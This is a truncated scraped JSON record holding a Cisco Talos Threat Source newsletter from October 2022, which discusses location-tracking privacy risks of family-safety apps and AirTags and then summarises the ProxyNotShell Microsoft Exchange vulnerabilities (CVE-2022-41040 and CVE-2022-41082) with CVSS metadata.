- 21)** \nSands Capital Management, Arlington, Virginia", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-10-06T18:00:00", "type": "talosblog", "title": "Threat Source newsletter (Oct. 6, 2022) \u2014 Continuing down the Privacy Policy rabbit hole", "bulletinFamily": "blog", "cvss2": {}, "cvelist": ["CVE-2022-41040", "CVE-2022-41082"], "modified": "2022-10-06T18:00:00", "id": "TALOSBLOG:FB5080C7655BA3C4C2856F34457CBCD0", "href": "https://blog.talosintelligence.com/threat-source-newsletter-oct-6-2022-continuing-down-the-privacy-policy-rabbit-hole/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2022-10-06T19:13:58", "description": "[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjLGV0qm1JxU91RjdxVIuHS5qpDp6eR5oqC3GXE4GKh74vcE6eErdX-odGGmldK4seEV08PmWVUMwC9eHiY-MNvEWPJqq7kEe3k9gjAfn0ai-JRQnZ3GdRiAki_wed_Ctz2-MbeTD591fAVRErXhYumK3_GFcUGqEBUmnA_aeVfgK2rZKQ7AW0eYUiY/s2000/threat-source-newsletter.jpg>)\n\n \n\n\n_By Jon Munshaw. _\n\n[](<https://engage2demand.cisco.com/SubscribeTalosThreatSource>)\n\nWelcome to this week\u2019s edition of the Threat Source newsletter. \n\n \n\n\nAs I [wrote about last week](<https://blog.talosintelligence.com/2022/09/threat-source-newsletter-sept-29-2022.html>), I\u2019ve been [diving a lot into apps\u2019 privacy policies](<https://blog.talosintelligence.com/2022/09/our-current-world-health-care-apps-and.html>) recently. And I was recently made aware of a new type of app I never knew existed \u2014 family trackers. \n\n \n\n\nThere are countless mobile apps for parents to track their children or other family members based on their location, phone usage, and even driving speed. As an anxious soon-to-be-parent, this sounds intriguing to me \u2014 it\u2019d be a supped-up version of Find my Friends on Apple devices so I\u2019d never have to ask my teenager (granted, I\u2019m many years away from being at that stage of my life) when they were coming home or where they were. \n\n \n\n\nJust as with all other types of mobile apps, there are pitfalls, though. \n\n \n\n\nLife360, one of the most popular of these types of apps and even tells users what their maximum driving speed was on a given trip, was found in December 2021 to be [selling precise location data](<https://themarkup.org/privacy/2021/12/06/the-popular-family-safety-app-life360-is-selling-precise-location-data-on-its-tens-of-millions-of-user>) on its users, potentially affecting millions of people. Once that precise location data is out there, there is no telling who could eventually get a hold of it. Even if Life360 doesn\u2019t intend to let adversaries see this information, they don\u2019t have direct control over how those third parties handle the information once it\u2019s sold off. \n\n \n\n\nThe [app\u2019s current and updated privacy policy](<https://support.life360.com/hc/en-us/articles/360043228154-Full-Privacy-Policy>) states that it \"may also share location information with our partners, such as Cuebiq and its Partners, for tailored advertising, attribution, analytics, research and other purposes.\u201d However, users do have the ability to opt out of this inside the app. \n\n \n\n\nThere is hardware that offers this same type of tracking. Jealous, angry or paranoid spouses and parents have used [Apple\u2019s AirTags in the past to unknowingly track people](<https://www.npr.org/2022/02/18/1080944193/apple-airtags-theft-stalking-privacy-tech>), eventually to the point that Apple had to [address the issue directly](<https://www.apple.com/newsroom/2022/02/an-update-on-airtag-and-unwanted-tracking/>) and provide several updates to AirTags\u2019 security and precise location alerts to make it easier for users to find potentially unwanted AirTags on their cars or personal belongings. \n\n \n\n\nThis is truthfully just an area of concern I had never considered before. Many parents would do anything for their children\u2019s safety, which is certainly understandable. But just like personal health apps, we need to consider the security trade-offs here, too. As we\u2019ve said before, [no one truly has \u201cnothing to hide,\u201d](<https://beerswithtalos.talosintelligence.com/2033817/11128173-beers-with-talos-ep-124-there-s-no-such-thing-as-i-have-nothing-to-hide>) especially when it comes to minors or vulnerable populations. I\u2019m not saying using any of these apps is inherently wrong, or that AirTags do not have their legitimate purposes. But any time we welcome this software and hardware into our homes and on our devices, it\u2019s worth considering what sacrifices we might be making elsewhere. \n\n \n\n\n \n\n\n## The one big thing \n\n[Microsoft warned last week](<https://blog.talosintelligence.com/2022/09/threat-advisory-exchange-server-vulns.html>) of the exploitation of two recently disclosed vulnerabilities collectively referred to as \"ProxyNotShell,\" affecting Microsoft Exchange Servers 2013, 2016 and 2019. One of these vulnerabilities could allow an attacker to execute remote code on the targeted server. Limited exploitation of these vulnerabilities in the wild has been reported. CVE-2022-41040 is a Server-Side Request Forgery (SSRF) vulnerability, while CVE-2022-41082 enables Remote Code Execution (RCE) when PowerShell is accessible to the attackers. \n\n> ### Why do I care? \n> \n> Exchange vulnerabilities have become increasingly popular with threat actors, as they can provide initial access to network environments and are often used to facilitate more effective phishing and malspam campaigns. The Hafnium threat actor exploited several zero-day vulnerabilities in Exchange Server in 2021 to deliver ransomware, and Cisco Talos I
CVE-2022-41040 and CVE-2022-41082 – zero-days in MS Exchange
